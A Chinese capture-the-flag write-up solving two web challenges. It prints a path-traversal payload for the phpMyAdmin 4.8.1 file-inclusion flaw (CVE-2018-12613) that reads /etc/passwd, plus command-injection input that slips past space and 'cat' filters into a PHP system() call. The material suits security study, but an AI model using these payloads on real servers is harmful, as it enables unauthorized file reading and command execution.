buu做题(6)

目录

[[GWCTF 2019]我有一个数据库](#[GWCTF 2019]我有一个数据库)

[WUSTCTF2020]朴实无华


[GWCTF 2019]我有一个数据库

什么都没有, 尝试用dirsearch扫一下目录

可以扫到一个 /phpmyadmin

可以直接进入到数据库里面

但里面没什么东西

可以看到它的版本不是最新的, 搜一下相关的漏洞

phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客

在index.php 也没有一个 文件包含漏洞, 可以目录遍历

复制代码
include $_REQUEST['target'];

有相应的payload:

/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../etc/passwd

直接读flag 就行

[WUSTCTF2020]朴实无华

似乎有个header头跳转

扫一下目录 可以发现 robots.txt

抓个包 可以发现 /fl4g.php

全是乱码的, 不过不影响做题

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

if(intval($num) < 2020 && intval($num + 1) > 2021)

使用 e 绕过 (本地测试一下就行)
num=2000e1

if ($md5==md5($md5))

md5=0e00275209979

网上挺多这样满足这样的表达式的数字 ,

if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

过滤了空格 和 cat

tac 代替 cat

IFS9代替空格
get_flag=tacIFS9f*

相关推荐
码界奇点1 天前
前端基础知识构建现代Web应用的基石
前端·青少年编程·web
Code Slacker1 天前
第八届传智杯AI WEB网页开发挑战赛练习题库
web·竞赛·传智杯
蓝之白1 天前
Web15-网站被黑
web安全·ctf
777sea1 天前
CTFSHOW-2026元旦跨年欢乐赛-CS2026
ctf
CC码码1 天前
迈向开源第一步,给fabric.js提PR
前端·javascript·开源·web·fabric
给勒布朗上上对抗呀1 天前
序列化绕过-攻防世界-unseping
ctf
闲人编程1 天前
FastAPIAdmin后台管理系统
python·接口·web·后台管理·admin·codecapsule·fast api
sg_knight1 天前
如何通过 CSS 实现走马灯效果(纯前端实现)
前端·javascript·css·vue·web·走马灯
曲幽1 天前
从本地到云端:深入理解WSGI,让你的Python Web应用稳健部署
python·nginx·flask·fastapi·web·gunicorn·uvicorn·diango·waitress
heartbeat..2 天前
JavaWeb 入门 - HttpServletResponse 响应对象 详解
java·网络·http·web·response